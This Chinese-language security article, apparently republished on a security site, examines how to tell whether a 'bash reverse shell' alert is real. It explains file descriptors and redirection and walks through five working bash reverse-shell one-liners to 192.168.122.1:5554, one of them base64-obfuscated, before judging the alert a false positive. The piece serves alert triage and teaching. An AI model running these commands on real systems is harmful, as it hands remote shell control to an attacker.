某主机安全检测系统产生了名为“bash反弹shell”的告警信息:
反弹连接命令:/bin/bash /usr/bin/egrep -i processor|core id|physical id
告警中相关命令的行为是不是反弹shell?研判bash反弹shell的原则是什么?
以下我们对bash反弹shell的一般实现进行简单研究,总结出研判bash反弹shell的原则,为以后出现的类似事件做准备。
二、反弹shell的概念
(一)反弹shell是什么
反弹shell(reverse shell),就是控制端监听指定的TCP/UDP端口,被控端主动连接到控制端的监听端口,并将本机的cmd shell交给控制端的行为。反弹shell与telnet、ssh等“正向”shell相对,将传统概念上的客户端与服务端的角色进行了反转。
(二)反弹shell的适用场景
-
失陷主机位于防火墙后,防火墙禁止外网主动连接失陷主机,但允许失陷主机发起外联。
-
失陷主机IP地址是动态的,IP变化后攻击者会失去连接。
-
失陷主机位于内网,经过地址转换连接外网,外网主机无法主动连接失陷主机。
-
失陷主机上指定端口被占用,木马后门程序无法监听预设端口。
三、文件描述符和重定向
文件描述符(File Descriptor,fd),在Linux中有如下的定义:
Linux系统只定义了0到2作为文件描述符的使用,3和以上的数字可以自行指定其用法。看下面的例子:
echo "12345678" > file.txt
echo "12345678" > file.txt //将12345678重定向到文件中,这样就创建了文件并写入了内容
exec 3<file.txt //创建文件描述符3,并将文件描述符3指向test.txt文件
grep "1234"<&3 //将文件描述符3指定的文件作为grep命令的输入,最终查询得到了结果
SourceURL:file:///home/user1/桌面/广州农商行/11.知识库/告警研判/bash反弹shell/bash反弹shell.docx
四、反弹shell实例
(一)失陷主机使用bash命令发起反弹连接
例1:
bash -i >& /dev/tcp/192.168.122.1/5554 0>&1
/dev/tcp/192.168.122.1/5554 //指定文件(与192.168.122.1的5554端口建立连接。在Linux系统中,将网络连接也看做文件)
>& //cmd >& 这种写法相当于cmd >& file 2>&1,也就是说将bash的标准输出和标准错误都重定向到文件,也就是192.168.122.1的5554端口
0>&1 //将bash的标准输入重定向到标准输出,而标准输出在192.168.122.1的5554端口,这样192.168.122.1得到了失陷主机的标准输出、标准输出和标准错误,实现了反弹shell
例2:
bash -i 5<>/dev/tcp/192.168.122.1/5554 0>&5 1>&5
5<>/dev/tcp/192.168.122.1/5554 //将文件描述符5指向192.168.122.1的5554端口
0>&5 //将标准输入重定向到文件描述符5,也就是192.168.122.1的5554端口
1>&5 //将标准输出重定向到文件描述符5,也就是192.168.122.1的5554端口
这样,192.168.122.1得到了失陷主机的标准输入和标准输出,虽然没有标准错误,但是也实现了反弹shell
例3:
exec 5<>/dev/tcp/192.168.122.1/5554
cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/192.168.122.1/5554 //将文件描述符5重定向到192.168.122.1的5554端口
cat <&5 //使用cat读取文件描述符5的内容,也就是说,读取从192.168.122.1的5554端口输入的内容
while read line; do $line >&5; done //在while循环中读取文件描述符5的每一行,作为命令执行,再将执行的标准输出和标准错误重定向到文件描述符5,即192.168.122.1的5554端口
例4:
0<&56-;exec 56<>/dev/tcp/192.168.122.1/5554;sh <&56 >&56 2>&56
0<&56- //将标准输入重定向为文件描述符56
exec 56<>/dev/tcp/192.168.122.1/5554 //将文件描述符56重定向到192.168.122.1的5554端口
sh <&56 >&56 2>&56 //标准输入重定向到文件描述符56,标准输出和标准错误也都重定向到文件描述符56
例5:
bash -i >& /dev/tcp/192.168.122.1/5554 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzU1NTQgMD4mMQ==}|{base64,-d}|{bash,-i}
(二)攻击者在VPS上监听反弹连接
//监听本地的5554端口,被攻击者运行反弹命令后即可得到shell
五、总结
通过以上针对bash反弹shell的研究可知,要实现成功的反弹连接,首先需要指定反弹连接到的VPS主机的IP地址和监听端口,之后再将失陷主机命令行的标准输入、标准输出和标准错误重定向到VPS。由此看来,前面的bash反弹shell告警信息,由于bash命令中没有指定远程主机和端口,也没有重定向操作,因此不是反弹shell,可判定为误报。
原文始发于微信公众号(新蜂网络安全实验室):bash反弹shell的研判
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/2263135.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论